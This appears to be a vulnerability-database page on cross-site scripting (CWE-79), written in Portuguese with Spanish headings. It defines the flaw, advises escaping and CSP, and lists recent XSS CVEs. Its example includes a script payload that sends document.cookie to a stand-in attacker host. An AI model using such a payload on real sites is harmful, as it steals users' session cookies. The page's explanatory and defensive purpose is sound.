Fallos del tipo CWE-79

30.224 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23034MEDIUMCross-Site Scripting (XSS) Reflected endpoint 'tags.php' parameter 'msg_e' in WeGIAEPSS 0.3%CVE-2025-23594HIGHWordPress Google Map With Fancybox plugin <= 2.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5222MEDIUMResponsive Addons – Starter Templates, Advanced Features and Customizer Settings for Responsive Theme. <= 3.0.5 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-22683MEDIUMWordPress NotificationX plugin <= 2.9.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23614HIGHWordPress WordPress Additional Logins plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-55199MEDIUMA Stored Cross Site Scripting (XSS) vulnerability in Celk Sistemas Celk Saude v.3.1.252.1 allows a remote attacker to store JavaScript code EPSS 0.3%CVE-2025-22244MEDIUMVMware NSX contains a stored Cross-Site Scripting (XSS) vulnerability in the gateway firewall due to improper input validation.EPSS 0.3%CVE-2025-23598HIGHWordPress Recip.ly plugin <= 1.1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4377MEDIUMDOP Shortcodes <= 1.2 - Contributor+ Stored XSS via ShortcodeEPSS 0.3%CVE-2024-24885MEDIUMWordPress Woocommerce Vietnam Checkout Plugin <= 2.0.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-24576HIGHWordPress Landing Page Cat plugin <= 1.7.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-39627MEDIUMWordPress Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin <= 3.59.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24660HIGHWordPress Simple Membership Custom Messages Plugin <= 2.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-3149MEDIUMWP Custom Cursors < 3.0.1 - Stored Cross-Site Scripting via CSRFEPSS 0.3%CVE-2025-9096MEDIUMExpressGateway express-gateway REST Endpoint apps.js cross site scriptingEPSS 0.3%CVE-2024-54994MEDIUMMonicaHQ v4.1.2 was discovered to contain multiple Client-Side Injection vulnerabilities via the first_name and last_name parameters in the EPSS 0.3%CVE-2024-56923MEDIUMStored Cross-Site Scripting (XSS) Vulnerability in the Categorization Option of My Subscriptions Functionality in Silverpeas Core 6.3.1 <= 6EPSS 0.3%CVE-2025-23799HIGHWordPress .TUBE Video Curator Plugin <= 1.1.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23030MEDIUMCross-Site Scripting (XSS) Reflected endpoint 'cadastro_funcionario.php' parameter 'cpf' in WeGIAEPSS 0.3%CVE-2025-3749MEDIUMBreeze Display <= 1.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via cal_size ParameterEPSS 0.3%